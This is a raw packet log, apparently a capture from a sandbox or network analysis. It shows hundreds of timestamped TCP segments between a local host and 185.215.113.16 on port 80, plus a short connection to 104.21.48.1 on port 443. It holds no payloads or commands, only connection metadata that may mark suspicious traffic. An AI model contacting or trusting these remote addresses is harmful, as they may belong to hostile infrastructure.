Dec 9, 2024 23:09:27.152112007 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.152169943 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.152209997 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.152251005 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.160336971 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.160443068 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.160506010 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.168699026 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.168843031 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.168905973 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.177081108 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.177164078 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.177186966 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.177200079 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.184648037 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.184694052 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.184756994 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.184796095 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.192275047 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.195977926 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.279601097 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.279612064 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.279649019 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.279665947 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.281853914 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.281940937 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.281981945 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.306546926 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.306616068 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.306677103 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.306917906 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.308784962 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.308832884 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.308868885 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.308914900 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.313318014 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.313431978 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.313472033 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.313555956 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.317765951 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.317820072 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.317846060 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.317900896 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.322196007 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.322246075 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.322273970 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.322319984 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.326656103 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.326839924 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.326879978 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.331103086 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.331147909 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.331231117 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.331319094 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.335562944 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.335603952 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.335707903 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.335746050 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.340100050 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.340147018 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.340317011 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.340358019 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.344559908 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.344636917 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.344641924 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.344682932 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.349108934 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.349205017 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.349262953 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.349311113 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.353478909 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.353565931 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.353595972 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.353638887 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.357902050 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.357955933 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.358026981 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.358074903 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.362423897 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.362478018 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.362588882 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.362628937 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.366878986 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.366892099 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.366929054 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.371506929 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.371566057 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.371735096 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.371987104 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.375715017 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.375771999 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.375907898 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.375952959 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.380383015 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.380398989 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.380430937 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.380444050 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.384705067 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.384752035 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.384903908 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.384951115 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.389188051 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.389235020 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.389250994 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.389292002 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.393634081 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.393687010 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.478214025 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.478308916 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.478329897 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.478353024 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.480200052 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.480241060 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.480348110 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.482235909 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.484121084 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.484370947 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.498785973 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.498888969 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.498899937 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.498929024 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.500550985 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.500612974 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.500700951 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.500741005 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.503984928 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.504097939 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.504102945 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.504136086 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.507354021 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.507529020 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.507577896 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.510925055 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.510970116 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.511008978 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.511053085 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.514322996 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.514362097 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.514451027 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.514492035 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.517790079 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.517918110 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.518052101 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.518090963 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.521316051 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.521361113 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.521576881 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.521615982 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.524712086 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.524761915 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.524796963 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.524831057 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.526294947 CET	49821	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:27.526329041 CET	443	49821	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:27.526448011 CET	49821	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:27.528141975 CET	49821	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:27.528156996 CET	443	49821	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:27.528202057 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.528213024 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.528249979 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.531326056 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.531366110 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.531447887 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.531483889 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.534521103 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.534576893 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.534610987 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.534651995 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.537731886 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.537781000 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.537887096 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.537930012 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.540836096 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.540883064 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.540923119 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.540963888 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.544018984 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.544117928 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.544174910 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.547156096 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.547259092 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.547302008 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.550309896 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.550358057 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.550389051 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.550426960 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.553507090 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.553767920 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.553795099 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.553809881 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.556695938 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.556770086 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.556834936 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.557003021 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.559838057 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.559993029 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.560050011 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.562992096 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.563039064 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.563080072 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.563152075 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.566164970 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.566215038 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.566252947 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.566294909 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.569353104 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.569400072 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.569437981 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.569474936 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.572452068 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.572495937 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.572662115 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.572705984 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.575680971 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.575721025 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.575838089 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.575876951 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.578785896 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.578835011 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.578891993 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.578932047 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.582056046 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.582097054 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.582108974 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.582151890 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.585145950 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.585190058 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.585344076 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.585382938 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.588287115 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.588332891 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.588401079 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.588525057 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.591528893 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.591600895 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.591754913 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.591794968 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.594624043 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.594664097 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.594702959 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.594742060 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.597753048 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.597795963 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.597836018 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.597876072 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.600958109 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.601002932 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.601025105 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.601063967 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.604121923 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.604213953 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.604242086 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.604262114 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.607223988 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.607274055 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.663615942 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.663662910 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.663759947 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.663801908 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.665138960 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.665206909 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.665241957 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.665281057 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.668132067 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.668173075 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.668237925 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.668277025 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.671295881 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.671367884 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.671405077 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.671447039 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.674288988 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.674305916 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.674352884 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.692969084 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.693073034 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.693114996 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.693161011 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.693970919 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.693981886 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.694025993 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.696125031 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.696166039 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.696342945 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.696389914 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.698700905 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.698720932 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.698745966 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.698764086 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.700921059 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.701018095 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.701080084 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.701256990 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.702786922 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.702864885 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.702888012 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.702934980 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.705135107 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.705180883 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.705204010 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.705245972 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.707336903 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.707411051 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.710515022 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.710525990 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.710561991 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.710585117 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.710601091 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.710643053 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.712260962 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.712341070 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.712383032 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.714096069 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.714202881 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.714251995 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.716242075 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.716294050 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.716417074 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.716526031 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.718281984 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.718322039 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.718430042 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.718607903 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.720508099 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.720547915 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.720706940 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.720747948 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.722564936 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.722615957 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.722691059 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.722732067 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.724730015 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.724771023 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.724807978 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.724845886 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.726677895 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.726926088 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.726969004 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.728821039 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.728864908 CET	49815	80	192.168.2.4	185.215.113.16
